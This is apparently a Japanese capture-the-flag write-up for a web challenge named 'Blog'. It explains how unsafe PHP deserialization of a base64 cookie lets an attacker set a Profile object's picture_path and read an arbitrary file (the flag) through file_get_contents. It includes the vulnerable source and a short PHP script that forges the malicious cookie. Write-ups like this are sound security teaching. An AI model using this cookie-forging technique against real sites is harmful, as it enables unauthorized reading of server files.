[web] Blog
フラグは/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt
にあり、LFIをするのが最終目標。
まず、目を引くのがindex.phpの以下の部分。
$user = unserialize(base64_decode($_COOKIE["user"]));
明らかにバッドプラクティスであり、Unsafe Deserializationを利用することで任意のUserクラスのインスタンスを生成可能である。
どのようなインスタンスを作ればLFIできるだろうかというのを考えると、util.phpのProfileクラスに
$picture = base64_encode(file_get_contents($this->picture_path));
というのがある。
Userクラスのget_profileメソッドを使えば呼び出すことができ、$this->picture_pathはUnsafe Deserializationで差し込みが可能。
ソースコードベースで関係ある部分を残すと以下のような感じ。
... class User { public $profile; public $posts = array(); ... // get user profile public function get_profile() { // some dev apparently mixed up user and profile... // so this check prevents any more errors if ($this->profile instanceof User) { return "@i_use_vscode please fix your code"; } else { // quite unnecessary to assign to a variable imho $profile_string = " <div>{$this->profile}</div> "; return $profile_string; } } ... } class Profile { public $username; public $picture_path = "images/real_programmers.png"; ... public function __toString() { if (gettype($this->picture_path) !== "string") { return ""; } $picture = base64_encode(file_get_contents($this->picture_path)); // check if user exists $conn = new Conn; $conn->queries = array(new Query( "select id from users where username = :username", array(":username" => $this->username) )); $result = $conn(); if ($result[0] === false || $result[0]->fetchArray() === false) { return "<script>window.location = '/login.php'</script>"; } else { return " <div class='card'> <img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'> <div class='card-body'> <h3 class='card-title'>{$this->username}</h3> </div> </div> "; } } }
よって、Cookieに$user->profile->picture_path = '/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt';
となるようなpayloadを流し込んでやれば、base64で指定のファイルが出力されてくる。
適当にユーザーを作ってCookieを発行してもらい、以下のように改変してCookieを差し替えると、base64エンコードされたフラグが出てくる。
<?php class User { // Userクラスの全体 } class Profile { // Profileクラスの全体 } $x = '[適当に作ったユーザーのCookie]'; $user = unserialize(base64_decode($x)); $user->profile->picture_path = '/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt'; echo base64_encode(serialize($user));